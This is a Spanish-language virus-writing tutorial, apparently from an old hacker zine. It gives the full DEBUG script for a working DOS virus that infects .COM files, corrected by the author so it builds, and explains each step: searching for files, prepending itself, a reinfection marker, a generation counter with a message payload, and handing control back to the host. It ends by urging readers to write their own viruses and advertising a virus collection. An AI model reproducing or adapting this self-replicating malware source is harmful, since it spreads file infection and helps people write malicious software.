INTRODUCION A LA PROGRAMACION
DE VIRUS
Los Virus se programan en ensamblador, por eso mismo es necesario un conocimiento mínimo de este lenguaje. Por ahora es suficiente con conocer las instrucciones básicas como las de salto, comparación y movimiento de datos.
Todo el mundo sabe lo que es un Virus, pero veamos uno por dentro :-). El primer virus lo vi en una revista ya desaparecida, Amstrad User. Ellos publicaron un pequeño Virus que luego seria conocido como el Virus Amstrad, al parecer intentaron colarlo en los ordenadores de la revista :-?. Por cierto, el Virus es de lo mas tonto, solo lo voy a utilizar como ejemplo, pero es muy malo como Virus, no restaura la fecha del fichero, no comprueba los atributos de lectura/escritura, no mira si el tamaño del fichero es muy grande ... El script original contenía un error, el que voy a poner es correcto. Para obtener un fichero ejecutable basta con poner:
DEBUG < V1RV.DBG
-------------------V1RV.DBG--------------------------------------
a
JMP 0116
NOP
DEC CX
PUSH SI
ADD [BP+SI],CH
CS:
INC BX
DEC DI
DEC BP
ADD [BX+04],CL
ADD [BX+SI],AL
ADD [BX+SI],AX
ADD [BX+SI],AL
ADD [BX+SI],AL
MOV AX,CS
ADD AX,1000
MOV ES,AX
INC BYTE PTR [0105]
MOV SI,0100
XOR DI,DI
MOV CX,014F
REPZ
MOVSB
MOV DX,025F
MOV AH,1A
INT 21
MOV DX,0106
MOV CX,0016
MOV AH,4E
INT 21
JB 019E
MOV DX,027D
MOV AX,3D02
INT 21
MOV [0114],AX
MOV BX,AX
PUSH ES
POP DS
MOV DX,034F
MOV CX,FFFF
MOV AH,3F
INT 21
ADD AX,034F
CS:
MOV [0112],AX
DS:
CMP WORD PTR [0352],5649
JZ 0188
XOR CX,CX
MOV DX,CX
CS:
MOV BX,[0114]
MOV AX,4200
INT 21
JB 0188
MOV DX,0000
CS:
MOV CX,[0112]
CS:
MOV BX,[0114]
MOV AH,40
INT 21
CS:
MOV BX,[0114]
MOV AH,3E
INT 21
PUSH CS
POP DS
MOV AH,4F
MOV DX,025F
INT 21
JB 019E
JMP 013E
MOV DX,0080
MOV AH,1A
INT 21
CMP BYTE PTR [0105],05
JB 0207
MOV AX,0040
MOV DS,AX
MOV AX,[006C]
PUSH CS
POP DS
AND AX,0001
JZ 0207
MOV DX,01C4
MOV AH,09
INT 21
INT 20
INC BP
DB 6E
AND [SI+75],DH
AND [BX+SI+43],DL
AND [BX+SI+61],CH
JNS 01F1
JNZ 0241
AND [BP+69],DH
JB 024D
JNB 01FA
PUSH DX
PUSH SI
XOR [SI],BP
AND [BX+DI+20],BH
XOR BYTE PTR [BP+DI+74],61
AND [DI+73],AH
AND [BP+DI+75],DH
AND [BX+DI+75],DH
DB 69
DB 6E
JZ 0253
AND [BX+65],AH
DB 6E
DB 65
JB 025A
DB 63
DB 69
MOV [206E],AL
ADD [BX+SI],SP
AND [BX+SI],AH
AND [BX+SI],AH
OR CL,[DI]
AND AL,BE
AND AL,02
MOV CX,002B
XOR DI,DI
REPZ
MOVSB
XOR DI,DI
CS:
MOV WORD PTR [010E],0000
CS:
MOV [0110],ES
CS:
JMP FAR [010E]
PUSH DS
POP ES
MOV SI,044F
CMP BYTE PTR [0105],01
JNZ 0234
SUB SI,0200
MOV DI,0100
MOV CX,FFFF
SUB CX,SI
REPZ
MOVSB
CS:
MOV WORD PTR [0100],0100
CS:
MOV [0102],DS
CS:
JMP FAR [0100]
INT 20
n v1rv.com
r cx
151
w
q
----------------corta aqui-----------------------------------
Lo mejor que puedes hacer ahora es ejecutar el Virus paso a paso con el propio DEBUG. Ejecuta el DEBUG, cuando salga el cursor (-) indícale el nombre del fichero a cargar (n v1rv.com) y léelo (l). En el registro BX,CX tienes el tamaño en bytes del programa cargado, para ver el contenido de los registros utiliza el comando (r). Fíjate que BX vale 0000 y CX vale 0151, es decir, el tamaño del programa es de 337 bytes (el valor de CX esta en hexa).
Utilizaremos las ordenes (t) y (p) para tracear el Virus, la diferencia entre (t) y (p) es que la primera ejecuta el programa instrucción a instrucción, metiéndose dentro de las CALL y de las INT, mientras que (p) ejecuta de un golpe las CALL y las INT. Para una instrucción cualquiera (exceptuado CALL/INT) las dos ordenes se pueden usar indistintamente.
Empecemos con la (p), se ha producido un salto a la dirección 116 (en hexa).
JMP 116
... ...
116: MOV AX,CS
ADD AX,1000
MOV ES,AX
INC BYTE PTR [0105]
MOV SI,0100
XOR DI,DI
MOV CX,014F
REPZ
MOVSB
Las tres primeras instrucciones tras el salto ponen en ES la dirección del segmento que dista 64Kb del actual. Espero que comprendas esto :-)), si no es que hay que pegar un repaso a la segmentación de los procesadores Intel.
REPASO: Los procesadores Intel utilizan un esquema basado en la segmentación para direccionar la memoria. El esquema Intel es diferente a la segmentación clásica. Cada semento es de 64Kb, pero no estan de forma consecutiva en la memoria, estan sobrelapados, distando cada comienzo de segmento un párrafo (16 bytes). Es decir, si tenemos una dirección SEG:OFF, el siguiente segmento comienza en (SEG+01h):OFF o en SEG:(OFF+10h). Date cuenta que linealmente es la misma dirección: (SEG+01h)*10h+OFF = SEG*10h+10h+OFF = SEG*10h+(OFF+10h) = SEG:(OFF+10h). Bueno... seguro que sabes que la dirección segmentada se pasa a lineal si multiplicas el segmento por 16 (10h) y le sumas el desplazamiento.
La cuarta incrementa un contador, simplemente recuerda por ahora que esta en la dirección DS:0105h, luego veremos para que lo usa.
El resto, 5 instrucciones, copian el virus en el segmento calculado. La instrucción REPZ MOVSB copia CX bytes desde DS:SI a ES:DI. Como DS apunta al mismo segmento que CS y SI vale 100h, estamos compilando CS:100h que es la dirección del principio del Virus. El registro CX vale 14fh, es decir, el tamaño del Virus, ya que los dos últimos bytes (CDh 20h) corresponden al código del programa que hemos infectado. La dirección de destino es ES:DI, el valor de ES es conocido, DI vale 0000h.
Pasamos a ver las 3 siguientes.
MOV DX,025F
MOV AH,1A
INT 21
Esta es una interrupción 21h con servicio 1ah, para saber que significa podemos consultar las listas de Ralf Brown. Este servicio se encarga de establecer la dirección del DTA en DS:DX. El DTA es una zona de memoria que por defecto se encuentra en DS:0080h (PSP), se usa como registro para contener información que devuelven otros servicios, como el de buscar ficheros por un directorio. El tamaño máximo del DTA va a ser de 128 bytes... un momento... ahora estamos estableciendo una zona de memoria que va ha ser escrita por otros servicios en la dirección DS:025fh 8-O !!!, pero si en esa dirección puede existir parte del programa infectado !, XDD, tranquilo, ya veremos como solucionar esto.
MOV DX,0106
MOV CX,0016
MOV AH,4E
INT 21
JB 019E
Esta función hace uso del DTA, es la encargada de buscar ficheros, junto a su hermana el servicio 4fh. Veamos, en CX espera los atributos para la búsqueda, su patron es el siguiente:
76543210
00XXXXXX
El 7 y 6 estan reservados, 5 es el bit de archivo, 4 de subdirectorio, el bit 3 es el de la etiqueta de volumen, el 2 archivo de sistema, 1 archivo oculto y 0 el de solo lectura. Pues bien, el servicio 4eh pide que especifiquemos que atributos debe tener los ficheros que vamos a buscar, 16h en binario es 10110, es decir, busca los ficheros ocultos, de sistema y subdirectorios, aparte de los normales. [ Yo considero que buscar los subdirectorios es un error del programa, ya que no hay uso de los servicios de directorio ].
En DS:DX se debe almacenar el patron de búsqueda en una cadena ASCIIZ (termina en 00h). Para ver el patron que usa pongamos (d ds:106)... :-) '*.COM',00h. Si no encuentra ninguno devuelve el bit del carry a 1, el programa salta a 019eh.
El servicio 4eh/4fh almacena en la DTA la siguiente info:
Bytes Finalidad
----- ---------
0-20 Reservados
21 Atributo del fichero
22-23 Hora del fichero:
Bits 0bh-0fh = horas (0-23)
Bits 05h-0ah = minutos (0-59)
Bits 00h-04h =incrementos de 2 segundos(0-29)
24-25 Fecha de fichero:
Bits 09h-0fh = a¤o (respecto a 1980)
Bits 05h-08h = mes (1-12)
Bits 00h-04h = dia (1-31)
26-29 Tamaño del fichero
30-42 Nombre y extensión en ASCIIZ
Bien, supongamos que encuentra un fichero '*.COM', en ese caso ejecutaría la siguiente sección de código:
MOV DX,027D
MOV AX,3D02
INT 21
MOV [0114],AX
MOV BX,AX
Es decir, abre el fichero de nombre DS:DX para lectura/escritura. Como ves, DX apunta a la zona del DTA referente al nombre del fichero :-). A la vuelta, este servicio pone en AX el file-handle del fichero, lo guarda en DS:0114h y lo pone en BX.
PUSH ES
POP DS
MOV DX,034F
MOV CX,FFFF
MOV AH,3F
INT 21
ADD AX,034F
CS:
MOV [0112],AX
Las dos primeras instrucciones ponen DS igual a ES y a continuacion lee todo el fichero COM en DS:DX. Pone el código del programa al final del Virus, dejando 0200h bytes de espacio. Precisamente este espacio lo deja el Virus para poder almacenar la DTA en la siguiente infección.
El numero de bytes elido se devuelve en AX, valor al que le suma 034fh, que es el tamaño del virus mas esos 0200h. El tamaño total lo almacena en CS:0112h.
DS:
CMP WORD PTR [0352],5649
JZ 0188
El Virus, para no reinfectar un programa, mira el cuarto y el quinto byte, si valen I y V respectivamente quiere decir que el programa ya tenia el Virus y no lo infecta otra vez.
XOR CX,CX
MOV DX,CX
CS:
MOV BX,[0114]
MOV AX,4200
INT 21
JB 0188
Este trozo hace que el puntero de lectura/escritura del fichero apunte de nuevo al principio del mismo, ya que reescribiremos todo el programa. Recuerda que en la dirección 0114h tenemos el file-handle del fichero.
MOV DX,0000
CS:
MOV CX,[0112]
CS:
MOV BX,[0114]
MOV AH,40
INT 21
CS:
MOV BX,[0114]
MOV AH,3E
INT 21
Aqui esta la verdadera infección :-), escribe el fichero desde el principio con el nuevo tamaño y al final lo cierra. Ahora ya tenemos el programa infectado, pasemos al siguiente :-).
PUSH CS
POP DS
MOV AH,4F
MOV DX,025F
INT 21
JB 019E
JMP 013E
Esto restaura el valor de DS, para que apunte a CS. Luego continua la búsqueda de los ficheros (4fh). Curioso error, pone en DX el valor 025fh que es donde se encuentra la DTA, pero eso no hace falta (tonto, desperdicia preciosos bytes).
Si encuentra algún otro fichero salta a la dirección 013eh y comienza de nuevo todo el proceso, si no encuentra mas fichero salta a la 019eh.
MOV DX,0080
MOV AH,1A
INT 21
Si no encuentra mas ficheros reestablece la dirección de la DTA. Esto es importante.
CMP BYTE PTR [0105],05
JB 0207
MOV AX,0040
MOV DS,AX
MOV AX,[006C]
PUSH CS
POP DS
AND AX,0001
JZ 0207
MOV DX,01C4
MOV AH,09
INT 21
INT 20
¿Recuerdas que al principio el Virus incremento el byte de la 0105h?, es un contador de reproducciones, indica cuantas veces se ha reproducido el Virus. Ahora lo compara con 5, si es menor no hace nada, pero si es igual o mayor mira el bit 0 del contador de clicks del sistema (0040h:006ch), si vale 1 imprime un mensajito muy tonto, para verlo pon (d1c4), dice lo siguiente: 'En tu PC hay un virus RV1, y esta es su quinta generación', acompañado del caracter 01h (una carita), al final sale al DOS.
MOV SI,0224
MOV CX,002B
XOR DI,DI
REPZ
MOVSB
XOR DI,DI
CS:
MOV WORD PTR [010E],0000
CS:
MOV [0110],ES
CS:
JMP FAR [010E]
Ya estamos cerca del final, desde ahora el Virus se va a encargar de preparar la memoria para poder ejecutar el programa que tiene adosado. Para ello copia un mini programa de 2bh bytes, que comienza en cs:0224, al principio del nuevo segmento. Por ultimo pega un salto a ES:0000h, es decir, al mini programa.
PUSH DS
POP ES
MOV SI,044F
CMP BYTE PTR [0105],01
JNZ 0234
SUB SI,0200
MOV DI,0100
MOV CX,FFFF
SUB CX,SI
REPZ
MOVSB
CS:
MOV WORD PTR [0100],0100
CS:
MOV [0102],DS
CS:
JMP FAR [0100]
Este es el programa que pasa a ejecutar. Primero iguala los registros de datos y extra con el de código. Ahora viene un detalle que me hace sospechar que los programadores del virus fueron los de la revista: ajusta SI dependiendo de si es su primera reproducción o no (en la revista publicaron uno en su primera reproducción, es decir, nunca se había reproducido). Lo principal de este trozo es que copia el código del programa infectado al principio del segmento, 0100h, y salta a la primera instrucción del programa. Este se ejecuta como si nada.
Bueno esto es todo. Hemos analizado con detenimiento un Virus muy simple y con fallos en su programación. Existe otra técnica para infectar programa COM que con un poco de suerte la podremos ver en otra entrega. Infectar los EXE no es mucho mas difícil :-).
Por ultimo, no me seáis lamerillos y si programáis un Virus hacedlo desde el principio, no os conformeis con arreglar este fuente }:-).
" Y... sino queres perder tiempo programando, anda a lo
facil, y pasa a ver mi coleccion de virus "